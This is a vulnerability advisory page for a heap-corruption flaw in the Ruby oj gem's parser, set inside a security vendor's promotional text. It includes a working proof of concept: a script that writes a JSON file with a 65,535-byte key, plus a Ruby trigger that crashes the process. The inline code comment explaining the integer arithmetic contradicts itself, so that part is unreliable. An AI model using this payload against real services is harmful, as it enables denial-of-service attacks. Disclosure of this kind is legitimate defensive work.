Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-9cv6-qcjw-4grx

HighCVSS 8.7 / 10
Published Jun 19, 2026·Last modified Jun 19, 2026
Affected Components(0)

No affected components available

Description

Summary

Oj::Parser#parse in usual mode with create_id enabled is vulnerable to heap corruption via a negative-size memcpy. When a JSON object key is exactly 65,535 bytes long, an integer truncation in form_attr (usual.c:63) converts the length to -1 before passing it to memcpy. This causes memcpy to copy SIZE_MAX bytes (interpreted as a huge size_t), corrupting heap memory and crashing the process.

Version

  • Software: oj gem
  • Affected: all versions with ext/oj/usual.c
  • Latest tested: 3.17.1 (confirmed present)

Details

ext/oj/usual.c, form_attr:

// usual.c:55–64
static ID form_attr(const char *str, size_t slen) {
    char        buf[4096];
    // ...
    int  blen = (int)slen + 1;    // ← truncates: 65535 + 1 = 65536 → wraps to 0
                                  //   or: 65535 cast to int = 65535 (fits),
                                  //   but blen = 65536 → INT overflow on +1 if slen=INT_MAX
    // ...
    memcpy(buf, "@", 1);
    memcpy(buf + 1, str, (size_t)blen);  // ← size_t(-1) = SIZE_MAX
}

The cache (cache_intern) uses a fixed 65,536-byte slab. When slen = 65535, the arithmetic wraps and memcpy is called with (size_t)-1.

ASAN report:

==80452==ERROR: AddressSanitizer: negative-size-param: (size=-1)
    #0 memcpy
    #1 form_attr          /ext/oj/usual.c:63
    #2 cache_intern       /ext/oj/cache.c:326
    #3 get_attr_id        /ext/oj/usual.c:186
    #4 close_object_create  /ext/oj/usual.c:374
    #5 parse              /ext/oj/parser.c:693
    #6 parser_parse       /ext/oj/parser.c:1408
0x531000528800 is located 0 bytes inside of 65536-byte region [0x531000528800, 0x531000538800)

Reproduce

Generate the payload:

key = 'A' * 65535
with open('poc.json', 'w') as f:
    f.write('{"json_class":"Oj::Bag","' + key + '":1}')

Trigger:

require 'oj'
Oj::Parser.new(:usual, create_id: 'json_class').parse(STDIN.read)
Risk Scores
Base Score
8.7

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability.

Threat Intelligence
6.6

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
N/A

Probability that this vulnerability will be exploited in the wild within the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard